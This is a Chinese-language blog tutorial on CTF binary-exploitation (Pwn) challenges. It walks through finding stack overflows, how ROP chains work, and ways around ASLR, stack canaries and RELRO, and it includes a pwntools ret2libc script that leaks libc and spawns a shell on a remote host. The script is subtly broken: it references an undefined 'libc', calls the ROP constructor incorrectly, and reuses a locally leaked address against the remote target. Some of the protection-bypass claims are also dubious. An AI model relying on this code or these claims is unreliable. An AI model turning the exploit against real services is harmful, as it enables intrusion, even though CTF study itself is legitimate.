共计 2334 个字符,预计需要花费 6 分钟才能阅读完成。
背景:CTF Pwn 题的特点
在 CTF(Capture The Flag)比赛中,Pwn(取 ”own” 的谐音)类题目主要考察二进制漏洞的挖掘与利用能力。这类题目通常提供一个存在漏洞的可执行程序,选手需要通过逆向分析找到漏洞点,并编写利用代码(Exploit)来获取目标系统的控制权。

- 评分规则:通常根据漏洞利用的难度和完成度评分,常见指标包括:
- 成功获取 flag(通常位于服务器上的特定文件)
- 利用链的复杂度(如是否需要多阶段攻击)
- 绕过防护机制的数量(如 ASLR、NX、Stack Canary 等)
技术选型:静态分析与动态调试
静态分析工具(IDA/Ghidra)
- 优势:
- 提供全局视图,快速定位敏感函数(如
gets、strcpy) - 支持反编译为伪代码(Pseudocode),降低分析难度
-
可生成调用图(Call Graph)和数据流图(Data Flow Graph)
-
劣势:
- 无法观察运行时内存状态
- 对混淆代码(Obfuscated Code)处理效果有限
动态调试工具(GDB + pwntools)
- 优势:
- 实时查看寄存器 / 内存值(通过
info registers、x/xw $esp等命令) - 可设置条件断点(如
b *0x8048000 if $eax==0xdeadbeef) -
pwntools 库提供自动化交互功能(如发送 payload、接收输出)
-
劣势:
- 需要反复运行程序,耗时较长
- 可能触发反调试机制(Antidebugging)
漏洞识别与利用实战
漏洞类型识别
以栈溢出(Stack Overflow)为例,典型特征包括:
+------------------+
| 局部变量 | <-- 溢出方向
+------------------+
| 保存的 EBP |
+------------------+
| 返回地址 | <-- 覆盖目标
+------------------+
| 函数参数 |
+------------------+
通过以下步骤确认:
1. 使用 checksec 检查程序防护(如 NX/DEP 是否开启)
2. 在 IDA 中查找危险函数(如read、scanf)
3. 动态调试验证输入长度是否可控
ROP 链构造原理
Return-Oriented Programming(ROP)通过复用代码片段(Gadgets)绕过 NX 防护。数学原理如下:
- 设目标函数地址为
F,参数为arg1 - 构造链:
pop_rdi_ret_addr + arg1 + F - CPU 执行流程:
pop rdi将arg1存入rdi(x64 第一个参数寄存器)ret跳转到F
寄存器状态机示例:
[Before] RIP=pop_rdi_ret, RSP=arg1_addr
[After pop] RDI=arg1, RSP=F_addr
[After ret] RIP=F, RSP+=8
对抗内存防护的三种方案
| 防护机制 | 绕过方法 | 适用场景 |
|---|---|---|
| ASLR | 信息泄漏(如 puts@got) | 存在输出函数 |
| Stack Canary | 覆盖失败后触发异常处理(FSOP) | 有异常处理结构 |
| RELRO | 劫持动态链接器(如_dl_runtime_resolve) | 部分 RELRO |
Exploit 代码示例
from pwn import *
context(arch='amd64', os='linux')
# 1. 泄漏 libc 地址
def leak_libc():
p = process('./vuln')
payload = b'A'*24 + p64(0x400683) # pop_rdi; ret
payload += p64(0x601018) # puts@got
payload += p64(0x400470) # puts@plt
p.sendline(payload)
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x06f690 # 偏移需根据实际 libc 版本调整
return libc_base
# 2. 构造 ROP 链
def build_rop(libc_base):
rop = ROP([libc_base])
rop.system(next(libc.search(b'/bin/sh')))
return rop.chain()
# 3. 触发漏洞
try:
libc_base = leak_libc()
rop_chain = build_rop(libc_base)
payload = b'A'*24 + rop_chain
p = remote('ctf.example.com', 9999)
p.sendline(payload)
p.interactive()
except Exception as e:
log.error(f"Exploit failed: {str(e)}")
避坑指南
环境差异处理
- 本地调试 :使用
ldd确认 libc 版本,建议用patchelf固定链接器路径 - 远程部署 :通过
nc测试端口连通性,注意网络延迟导致的超时
堆布局控制
- 预先分配多个 chunk 填充内存(Heap Feng Shui)
- 使用
malloc_trim(0)触发碎片整理 - 通过 size 字段控制 chunk 合并方向
对抗随机化
- 部分覆盖指针低字节(Partial Overwrite)
- 爆破 16 位熵(如 fork 服务器的 PID)
- 利用内存残留数据(如未初始化的栈变量)
进阶思考
- 敏感函数识别自动化:如何通过 Angr/Symbolic Execution 标记危险调用点?
- 沙箱逃逸:当遇到 seccomp 限制系统调用时,如何利用现有调用组合实现攻击?
- 成功率验证:如何通过 Monte Carlo 方法统计不同环境下的 Exploit 稳定性?
总结
通过本次实战,我们完成了从漏洞分析到 Exploit 编写的完整链路。关键点在于:
– 结合静态 / 动态分析定位漏洞
– 理解 CPU 执行流程与内存模型
– 模块化编写可复用的攻击代码
建议读者尝试用不同防护配置重新编译题目,观察 Exploit 的适应性变化。
正文完
发表至: 未分类
近一天内
